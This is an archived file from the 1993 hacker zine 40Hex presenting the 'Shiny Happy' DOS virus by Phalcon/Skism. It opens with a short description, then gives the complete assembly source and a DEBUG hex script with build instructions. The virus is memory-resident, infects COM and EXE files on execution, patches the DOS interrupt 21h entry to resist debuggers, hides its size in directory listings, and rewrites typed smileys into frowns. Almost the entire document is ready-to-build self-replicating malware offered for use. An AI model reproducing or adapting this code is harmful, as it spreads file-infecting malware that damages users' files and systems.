home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-10.zip / 40HEX-10.002 < prev    next >
Text File  |  1993-03-13  |  17KB  |  634 lines

  1. 40Hex Issue 10 Volume 3 Number 1                                      File 002
  2.  
  3.                         The Phalcon/Skism Shiny Happy Virus
  4.  
  5.         This virus was written jointly by Dark Angel and Hellraiser about six
  6. months ago.  It is a simple semi-stealth virus that doesn't actually replace
  7. interrupt 21h's vector in the interrupt table.  Instead, it finds the DOS
  8. interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
  9. it is highly debugger-resistant.  It also hides the file size increase, albeit
  10. only in DOS directory listings.  This way, it avoids the CHKDSK cross-linking
  11. errors common to viruses hooking FCB find first/next.  The virus infects upon
  12. file executions.  A debug script follows the source code.  As always, type
  13. "DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.
  14.  
  15.         The virus always activates, hooking the keyboard interrupt.  When it
  16. detects a happy face (emoticon), the virus changes it to a frown.  The Shiny
  17. Happy residency test follows:
  18.  
  19. Run the cursor across the following line:
  20.         :-)     =)      \|-)    ;)      :*)
  21. If any of the faces changed to frowns, then Shiny Happy is loose on your
  22. system.
  23.  
  24.                                         -)Gheap
  25.  
  26. -------------------------------------------------------------------------------
  27. ; The Shiny Happy Virus
  28. ; By Hellraiser and Dark Angel of Phalcon/Skism
  29.  
  30.         .model  tiny
  31.         .code
  32.  
  33. id      =       '52'
  34. timeid  =       18h
  35.  
  36. shiny:
  37.         call    next
  38. next:   pop     bp
  39.  
  40.         push    ds
  41.         push    es
  42.  
  43.         xor     di,di
  44.         mov     ds,di
  45.         cmp     word ptr ds:[1*4],offset int1_2 ; installation check
  46.         jz      return
  47.  
  48.         mov     ax,es
  49.         dec     ax
  50.         sub     word ptr ds:[413h],(endheap-shiny+1023)/1024
  51.         mov     ds,ax
  52.         sub     word ptr ds:[3],((endheap-shiny+1023)/1024)*64
  53.         sub     word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
  54.         mov     es,word ptr ds:[12h]
  55.  
  56.         push    cs
  57.         pop     ds
  58.  
  59.         lea     si,[bp+shiny-next]
  60.         mov     cx,(endheap-shiny+1)/2
  61.         rep     movsw
  62.  
  63.         push    cs
  64.         lea     ax,[bp+return-next]
  65.         push    ax
  66.  
  67.         push    es
  68.         mov     ax,offset highentry
  69.         push    ax
  70.         retf
  71.  
  72. return:
  73.         cmp     sp,id-4
  74.         jz      returnEXE
  75. returnCOM:
  76.         pop     es
  77.         pop     ds
  78.         mov     di,100h
  79.         push    di
  80.         lea     si,[bp+offset save3-next]
  81.         movsw
  82.         movsb
  83.         retn
  84.  
  85. returnEXE:
  86.         pop     es
  87.         pop     ds
  88.         mov     ax,es
  89.         add     ax,10h
  90.         add     word ptr cs:[bp+origCSIP+2-next],ax
  91.         cli
  92.         add     ax,word ptr cs:[bp+origSPSS-next]
  93.         mov     ss,ax
  94.         mov     sp,word ptr cs:[bp+origSPSS+2-next]
  95.         sti
  96.         db      0eah
  97. origCSIP db     ?
  98. save3    db    0cdh,20h,0
  99. origSPSS dd     ?
  100.  
  101. highentry:
  102.         mov     cs:in21flag,0
  103.  
  104.         xor     ax,ax
  105.         mov     ds,ax
  106.  
  107.         les     ax,ds:[9*4]
  108.         mov     word ptr cs:oldint9,ax
  109.         mov     word ptr cs:oldint9+2,es
  110.  
  111.         mov     ds:[9*4],offset int9
  112.         mov     ds:[9*4+2],cs
  113.  
  114.         les     ax,ds:[21h*4]
  115.         mov     word ptr cs:oldint21,ax
  116.         mov     word ptr cs:oldint21+2,es
  117.  
  118.         mov     word ptr ds:[1*4],offset int1
  119.         mov     ds:[1*4+2],cs
  120.  
  121.         mov     ah, 52h
  122.         int     21h
  123.         mov     ax,es:[bx-2]
  124.         mov     word ptr cs:tunnel21+2, ax
  125.         mov     word ptr cs:dosseg_, es
  126.  
  127.         pushf
  128.         pop     ax
  129.         or      ah,1
  130.         push    ax
  131.         popf
  132.  
  133.         mov     ah,0bh
  134.         pushf
  135.         db      09Ah
  136. oldint21 dd     ?
  137.  
  138.         mov     word ptr ds:[3*4],offset int3
  139.         mov     ds:[3*4+2],cs
  140.         mov     word ptr ds:[1*4],offset int1_2
  141.  
  142.         les     bx,cs:tunnel21
  143.         mov     al,0CCh
  144.         xchg    al,byte ptr es:[bx]
  145.         mov     byte ptr cs:save1,al
  146.         retf
  147.  
  148. authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
  149.  
  150. int1:   push    bp
  151.         mov     bp,sp
  152.         push    ax
  153.  
  154.         mov     ax, [bp+4]
  155.         cmp     ax,word ptr cs:tunnel21+2
  156.         jb      foundint21
  157.         db      3dh     ; cmp ax, xxxx
  158. dosseg_ dw      ?
  159.         ja      exitint1
  160. foundint21:
  161.         mov     word ptr cs:tunnel21+2,ax
  162.         mov     ax,[bp+2]
  163.         mov     word ptr cs:tunnel21,ax
  164.         and     byte ptr [bp+7], 0FEh
  165. exitint1:
  166.         pop     ax
  167.         pop     bp
  168.         iret
  169.  
  170. int1_2: push    bp
  171.         mov     bp,sp
  172.         push    ax
  173.  
  174.         mov     ax, [bp+4]
  175.         cmp     ax,word ptr cs:tunnel21+2
  176.         ja      exitint1_2
  177.         mov     ax, [bp+2]
  178.         cmp     ax,word ptr cs:tunnel21
  179.         jbe     exitint1_2
  180.  
  181.         push    ds
  182.         push    bx
  183.         lds     bx,cs:tunnel21
  184.         mov     byte ptr ds:[bx],0CCh
  185.         pop     bx
  186.         pop     ds
  187.  
  188.         and     byte ptr [bp+7],0FEh
  189. exitint1_2:
  190.         pop     ax
  191.         pop     bp
  192.         iret
  193.  
  194. infect_others:
  195.         mov     ax,4301h
  196.         push    ax
  197.         push    ds
  198.         push    dx
  199.         xor     cx,cx
  200.         call    callint21
  201.  
  202.         mov     ax,3d02h
  203.         call    callint21
  204.         xchg    ax,bx
  205.  
  206.         mov     ax,5700h
  207.         call    callint21
  208.         push    cx
  209.         push    dx
  210.  
  211.         mov     ah,3fh
  212.         mov     cx,1ah
  213.         push    cs
  214.         pop     ds
  215.         push    cs
  216.         pop     es
  217.         mov     dx,offset readbuffer
  218.         call    callint21
  219.  
  220.         mov     ax,4202h
  221.         xor     cx,cx
  222.         cwd
  223.         int     21h
  224.  
  225.         mov     si,offset readbuffer
  226.         cmp     word ptr [si],'ZM'
  227.         jnz     checkCOM
  228. checkEXE:
  229.         cmp     word ptr [si+10h],id
  230.         jz      goalreadyinfected
  231.  
  232.         mov     di, offset OrigCSIP
  233.         mov     si, offset readbuffer+14h
  234.         movsw
  235.         movsw
  236.  
  237.         sub     si, 18h-0eh
  238.         movsw
  239.         movsw
  240.  
  241.         push    bx
  242.         mov     bx, word ptr readbuffer + 8
  243.         mov     cl, 4
  244.         shl     bx, cl
  245.  
  246.         push    dx
  247.         push    ax
  248.  
  249.         sub     ax, bx
  250.         sbb     dx, 0
  251.  
  252.         mov     cx, 10h
  253.         div     cx
  254.  
  255.         mov     word ptr readbuffer+14h, dx
  256.         mov     word ptr readbuffer+16h, ax
  257.  
  258.         mov     word ptr readbuffer+0Eh, ax
  259.         mov     word ptr readbuffer+10h, id
  260.  
  261.         pop     ax
  262.         pop     dx
  263.         pop     bx
  264.  
  265.         add     ax, heap-shiny
  266.         adc     dx, 0
  267.  
  268.         mov     cl, 9
  269.         push    ax
  270.         shr     ax, cl
  271.         ror     dx, cl
  272.         stc
  273.         adc     dx, ax
  274.         pop     ax
  275.         and     ah, 1
  276.  
  277.         mov     word ptr readbuffer+4, dx
  278.         mov     word ptr readbuffer+2, ax
  279.  
  280.         mov     cx,1ah
  281.         jmp     short finishinfection
  282. checkCOM:
  283.         xchg    cx,ax
  284.         sub     cx,heap-shiny+3
  285.         cmp     cx,word ptr [si+1]
  286. goalreadyinfected:
  287.         jz      alreadyinfected
  288.         add     cx,heap-shiny
  289.  
  290.         push    si
  291.         mov     di,offset save3
  292.         movsw
  293.         movsb
  294.         pop     di
  295.         mov     al,0e9h
  296.         stosb
  297.         mov     ax,3    ; cx holds bytes to write
  298.         xchg    ax,cx
  299.         stosw
  300. finishinfection:
  301.         push    cx
  302.  
  303.         mov     ah,40h
  304.         mov     cx,heap-shiny
  305.         cwd ; xor dx,dx
  306.         call    callint21
  307.  
  308.         mov     ax,4200h
  309.         xor     cx,cx
  310.         cwd
  311.         int     21h
  312.  
  313.         mov     ah,40h
  314.         pop     cx
  315.         mov     dx,offset readbuffer
  316.         call    callint21
  317.  
  318.         mov     ax,5701h
  319.         pop     dx
  320.         pop     cx
  321.         and     cl,0E0h
  322.         or      cl,timeid
  323.         call    callint21
  324.         jmp     doneinfect
  325.  
  326. alreadyinfected:
  327.         pop     ax
  328.         pop     ax
  329. doneinfect:
  330.         mov     ah,3eh
  331.         call    callint21
  332.  
  333.         pop     dx
  334.         pop     ds
  335.         pop     ax
  336.         pop     cx
  337.         call    callint21
  338. exitexecute:
  339.         pop     es
  340.         pop     ds
  341.         pop     di
  342.         pop     si
  343.         pop     dx
  344.         pop     cx
  345.         pop     bx
  346.         pop     ax
  347.         popf
  348.  
  349.         jmp     exitint21
  350.  
  351. execute:
  352.         pushf
  353.         push    ax
  354.         push    bx
  355.         push    cx
  356.         push    dx
  357.         push    si
  358.         push    di
  359.         push    ds
  360.         push    es
  361.  
  362.         cld
  363.  
  364.         mov     ax,4300h
  365.         call    callint21
  366.         jc      exitexecute
  367.         push    cx
  368.  
  369.         jmp     infect_others
  370.  
  371. int3:
  372.         push    bp
  373.         mov     bp,sp
  374.  
  375.         cmp     cs:in21flag,0
  376.         jnz     leaveint21
  377.  
  378.         inc     cs:in21flag
  379.  
  380.         cmp     ah,11h
  381.         jz      findfirstnext
  382.         cmp     ah,12h
  383.         jz      findfirstnext
  384.         cmp     ax,4b00h
  385.         jz      execute
  386.  
  387. exitint21:
  388.         dec     cs:in21flag
  389. leaveint21:
  390.         or      byte ptr [bp+7],1       ; set trap flag upon return
  391.         dec     word ptr [bp+2]         ; decrement offset
  392.         call    restoreint21
  393.         pop     bp
  394.         iret
  395.  
  396. callint21:
  397.         pushf
  398.         call    dword ptr cs:tunnel21
  399.         ret
  400.  
  401. restoreint21:
  402.         push    ds
  403.         push    ax
  404.         push    bx
  405.  
  406.         lds     bx,cs:tunnel21
  407.         mov     al,byte ptr cs:save1
  408.         mov     ds:[bx],al
  409.  
  410.         pop     bx
  411.         pop     ax
  412.         pop     ds
  413.  
  414.         ret
  415.  
  416. findfirstnext:
  417.         int     21h     ; pre-chain interrupt
  418.  
  419. ; flags   [bp+12]
  420. ; segment [bp+10]
  421. ; offset  [bp+8]
  422. ; flags   [bp+6]
  423. ; segment [bp+4]
  424. ; offset  [bp+2]
  425. ; bp      [bp]
  426.         pushf           ; save results
  427.         pop     [bp+6+6]
  428.         pop     bp
  429.  
  430.         push    ax
  431.         push    bx
  432.         push    ds
  433.         push    es
  434.  
  435.         inc     al
  436.         jz      notDOS
  437.  
  438.         mov     ah,51h          ; Get active PSP
  439.         int     21h
  440.         mov     es,bx
  441.         cmp     bx,es:[16h]     ; DOS calling it?
  442.         jne     notDOS
  443.  
  444.         mov     ah,2fh  ; DTA -> ES:BX
  445.         int     21h
  446.         push    es
  447.         pop     ds
  448.  
  449.         cmp     byte ptr [bx],0FFh
  450.         jnz     regularFCB
  451.         add     bx,7
  452. regularFCB:
  453.         cmp     word ptr [bx+9],'OC'
  454.         jz      checkinf
  455.         cmp     word ptr [bx+9],'XE'
  456.         jnz     notDOS
  457. checkinf:
  458.         mov     al,byte ptr [bx+23]
  459.         and     al,1Fh
  460.  
  461.         cmp     al,timeid
  462.         jnz     notDOS
  463. subtract:
  464.         sub     word ptr [bx+29],heap-shiny
  465.         sbb     word ptr [bx+31],0
  466. notDOS:
  467.         pop     es
  468.         pop     ds
  469.         pop     bx
  470.         pop     ax
  471.  
  472.         dec     cs:in21flag
  473.  
  474.         cli
  475.         add     sp,6
  476.         iret
  477.  
  478. int9:
  479.         pushf                           ; save flags, regs, etc...
  480.         push    ax
  481.         push    bx
  482.         push    cx
  483.         push    dx
  484.  
  485.         xor     bx,bx
  486.         mov     ah,0fh                  ; get video mode
  487.         int     10h
  488.  
  489.         mov     ah,03h                  ; get curs pos
  490.         int     10h
  491.  
  492.         call    getattrib
  493.         cmp     al,')'                  ; happy??
  494.         jne     audi5000                ; no
  495.  
  496.         mov     cs:eyesflag,0
  497. beforeloveshack:
  498.         call    getattrib               ; see if there is a nose
  499. loveshack:
  500.         cmp     al,':'                  ; shiny???
  501.         je      realeyes
  502.  
  503.         cmp     al,'='                  ; check for even =)
  504.         je      realeyes
  505.  
  506.         cmp     al,'|'
  507.         je      realeyes
  508.  
  509.         cmp     al,';'
  510.         je      realeyes
  511.  
  512.         cmp     cs:eyesflag,0
  513.         jnz     audi5001
  514.         cmp     al,'('
  515.         jz      audi5001
  516.         inc     cs:eyesflag
  517.         inc     bl
  518.         jmp     short beforeloveshack
  519.  
  520. realeyes:
  521.         stc
  522.         adc     dl,bl                   ; add extra backspace if so
  523.  
  524.         mov     ah,02h
  525.         int     10h
  526.  
  527.         mov     ax,0a28h   ; 0ah, '('   ; write frown
  528.         mov     cx,1
  529.         int     10h
  530.  
  531.         jmp     audi5000
  532. audi5001:
  533.         stc
  534.         adc     dl,bl
  535. audi5000:
  536.         inc     dl                      ; set curs pos
  537.         mov     ah,02h
  538.         int     10h
  539.  
  540.         pop     dx                      ; restore all stuff
  541.         pop     cx
  542.         pop     bx
  543.         pop     ax
  544.         popf
  545.  
  546.         db      0eah
  547. oldint9 dd      ?
  548.  
  549. ; reads the char at the current cursorpos - 1
  550.  
  551. getattrib:
  552.         dec     dl                      ; set curs pos
  553.         mov     ah,02h
  554.         int     10h
  555.  
  556.         mov     ah,08h                  ; get char at curs
  557.         int     10h
  558.  
  559.         ret
  560.  
  561. heap:
  562. save1    db     ?
  563. tunnel21 dd     ?
  564. in21flag db     ?
  565. eyesflag db     ?
  566. readbuffer db   1ah dup (?)
  567. endheap:
  568. end  shiny
  569. -------------------------------------------------------------------------------
  570. n shiny.com
  571. e 0100  E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01 
  572. e 0110  74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00 
  573. e 0120  40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9 
  574. e 0130  DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81 
  575. e 0140  FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4 
  576. e 0150  C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46 
  577. e 0160  6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00 
  578. e 0170  00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E 
  579. e 0180  A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E 
  580. e 0190  26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7 
  581. e 01A0  06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47 
  582. e 01B0  FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50 
  583. e 01C0  9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C 
  584. e 01D0  0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC 
  585. e 01E0  26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61 
  586. e 01F0  70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C 
  587. e 0200  6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B 
  588. e 0210  20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F 
  589. e 0220  6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E 
  590. e 0230  3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B 
  591. e 0240  46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC 
  592. e 0250  50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B 
  593. e 0260  06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B 
  594. e 0270  1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9 
  595. e 0280  E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01 
  596. e 0290  51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14 
  597. e 02A0  01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A 
  598. e 02B0  75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5 
  599. e 02C0  A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52 
  600. e 02D0  50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3 
  601. e 02E0  B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99 
  602. e 02F0  03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80 
  603. e 0300  E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81 
  604. e 0310  E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00 
  605. e 0320  A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99 
  606. e 0330  03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59 
  607. e 0340  BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9 
  608. e 0350  18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58 
  609. e 0360  59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C 
  610. e 0370  50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72 
  611. e 0380  E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19 
  612. e 0390  2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D 
  613. e 03A0  00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02 
  614. e 03B0  E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E 
  615. e 03C0  C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21 
  616. e 03D0  9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD 
  617. e 03E0  21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F 
  618. e 03F0  80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81 
  619. e 0400  7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81 
  620. e 0410  6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E 
  621. e 0420  03 FA 83 C4 06 CF 9C 50 53 51 52 33 DB B4 0F CD 
  622. e 0430  10 B4 03 CD 10 E8 56 00 3C 29 75 42 2E C6 06 9F 
  623. e 0440  03 00 E8 49 00 3C 3A 74 21 3C 3D 74 1D 3C 7C 74 
  624. e 0450  19 3C 3B 74 15 2E 80 3E 9F 03 00 75 1E 3C 28 74 
  625. e 0460  1A 2E FE 06 9F 03 FE C3 EB D8 F9 12 D3 B4 02 CD 
  626. e 0470  10 B8 28 0A B9 01 00 CD 10 EB 03 F9 12 D3 FE C2 
  627. e 0480  B4 02 CD 10 5A 59 5B 58 9D EA 00 00 00 00 FE CA 
  628. e 0490  B4 02 CD 10 B4 08 CD 10 C3 
  629. rcx
  630. 0399
  631. w
  632. q
  633. -------------------------------------------------------------------------------
  634.